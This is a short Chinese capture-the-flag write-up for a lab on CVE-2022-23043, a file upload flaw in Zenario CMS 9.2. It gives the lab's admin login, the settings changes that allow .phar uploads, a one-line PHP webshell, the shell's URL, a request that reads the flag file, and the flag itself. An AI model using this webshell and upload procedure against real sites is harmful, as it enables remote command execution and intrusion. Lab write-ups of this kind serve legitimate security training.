春秋云镜 CVE-2022-23043 Zenario CMS 9.2 文件上传漏洞
靶标介绍
Zenario CMS 9.2 文件上传漏洞,攻击者可上传webshell执行任意命令。登陆信息:admin/adminqwe12
启动场景
漏洞利用
/admin进入管理后台,admin/adminqwe12登陆成功。
修改文档存放位置为/tmp(否则无法getshell)
修改上传文件格式,Extension设置为phar,MIME Type设置为 text/plain。
“Documents”处上传webshell
webshell
<?php
system($_GET[cmd]);
phpinfo();
?>
访问类型选择Public
获取webshell地址“Actions” - “View public link”。
http://39.106.48.123:17975/public/downloads/bx40a/shell.phar
http://39.106.48.123:17975/public/downloads/bx40a/shell.phar?cmd=cat%20/flag
得到flag
flag{c4b38083-0157-4171-8b48-30c1b448b81c}